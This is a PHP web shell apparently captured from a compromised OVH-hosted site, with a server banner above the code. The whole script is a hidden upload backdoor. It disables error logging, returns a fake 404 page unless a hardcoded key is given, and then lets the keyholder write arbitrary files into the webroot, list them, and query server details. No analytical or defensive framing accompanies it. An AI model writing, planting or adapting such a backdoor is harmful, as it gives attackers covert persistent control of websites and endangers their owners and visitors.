Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/eventfrsgx/www/ |
<?php
@error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
@set_time_limit(0);
@ini_set('upload_max_filesize','100M');
@ini_set('post_max_size','100M');
@ini_set('max_input_time',600);
$AUTH='4375d80d263c7d59';
if(!isset($_REQUEST['k'])||$_REQUEST['k']!==$AUTH){http_response_code(404);die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>');}
$root=dirname(__FILE__);
$msg='';
if(isset($_GET['api'])){
header('Content-Type:application/json');
die(json_encode(array('ok'=>true,'root'=>$root,'php'=>PHP_VERSION,'writable'=>is_writable($root))));
}
if($_SERVER['REQUEST_METHOD']==='POST'){
if(!empty($_POST['b64data'])&&!empty($_POST['filename'])){
$name=basename($_POST['filename']);
$dest=$root.'/'.$name;
$data=base64_decode($_POST['b64data']);
if($data!==false&&file_put_contents($dest,$data)!==false){
@chmod($dest,0644);
$msg='OK:'.$name.' ('.strlen($data).' bytes)';
}else{
$msg='FAIL:write error';
}
}elseif(!empty($_FILES['f'])){
$count=is_array($_FILES['f']['name'])?count($_FILES['f']['name']):1;
$names=is_array($_FILES['f']['name'])?$_FILES['f']['name']:array($_FILES['f']['name']);
$tmps=is_array($_FILES['f']['tmp_name'])?$_FILES['f']['tmp_name']:array($_FILES['f']['tmp_name']);
$errors=is_array($_FILES['f']['error'])?$_FILES['f']['error']:array($_FILES['f']['error']);
$results=array();
for($i=0;$i<$count;$i++){
if($errors[$i]!==0){$results[]='ERR:'.$names[$i];continue;}
$name=basename($names[$i]);
$dest=$root.'/'.$name;
if(move_uploaded_file($tmps[$i],$dest)){
@chmod($dest,0644);
$results[]='OK:'.$name;
}else{
$c=file_get_contents($tmps[$i]);
if($c!==false&&file_put_contents($dest,$c)!==false){
@chmod($dest,0644);
$results[]='OK:'.$name;
}else{
$results[]='FAIL:'.$name;
}
}
}
$msg=implode(' | ',$results);
}
if(isset($_GET['raw'])){die($msg);}
}
if(isset($_GET['ls'])){
$files=array();
$d=opendir($root);
if($d){while(($e=readdir($d))!==false){if($e==='.'||$e==='..')continue;$fp=$root.'/'.$e;if(is_file($fp))$files[]=array('n'=>$e,'s'=>filesize($fp),'m'=>date('Y-m-d H:i',filemtime($fp)));}closedir($d);}
header('Content-Type:application/json');
die(json_encode($files));
}
$k=htmlspecialchars($_REQUEST['k']);
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Up</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#0a0a0a;color:#e4e4e7;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:16px}
.c{width:100%;max-width:420px}
.msg{padding:10px 14px;border-radius:8px;margin-bottom:14px;font-size:13px;font-weight:500}
.msg.ok{background:rgba(34,197,94,.1);border:1px solid rgba(34,197,94,.3);color:#22c55e}
.msg.er{background:rgba(239,68,68,.1);border:1px solid rgba(239,68,68,.3);color:#ef4444}
.box{background:#18181b;border:2px dashed #3f3f46;border-radius:14px;padding:40px 20px;text-align:center;cursor:pointer;transition:all .2s;position:relative}
.box:hover{border-color:#3b82f6;background:rgba(59,130,246,.04)}
.box input{position:absolute;inset:0;opacity:0;cursor:pointer}
.box h3{font-size:14px;color:#a1a1aa;margin-bottom:4px}
.box p{font-size:12px;color:#52525b}
.foot{text-align:center;margin-top:14px;font-size:11px;color:#3f3f46}
</style>
</head>
<body>
<div class="c">
<?php if($msg):?>
<div class="msg <?php echo strpos($msg,'OK')!==false?'ok':'er';?>"><?php echo htmlspecialchars($msg);?></div>
<?php endif;?>
<form method="POST" enctype="multipart/form-data" id="uf">
<div class="box" id="drop">
<input type="file" name="f[]" id="fi" multiple>
<h3>Drop files or click to upload</h3>
<p>Any file type — uploads to webroot</p>
</div>
</form>
<div class="foot"><?php echo htmlspecialchars($root);?></div>
</div>
<script>
var d=document.getElementById('drop'),f=document.getElementById('fi'),u=document.getElementById('uf');
d.addEventListener('dragover',function(e){e.preventDefault();d.style.borderColor='#3b82f6'});
d.addEventListener('dragleave',function(){d.style.borderColor='#3f3f46'});
d.addEventListener('drop',function(e){e.preventDefault();d.style.borderColor='#3f3f46';f.files=e.dataTransfer.files;u.submit()});
f.addEventListener('change',function(){if(f.files.length)u.submit()});
</script>
</body>
</html>
<?php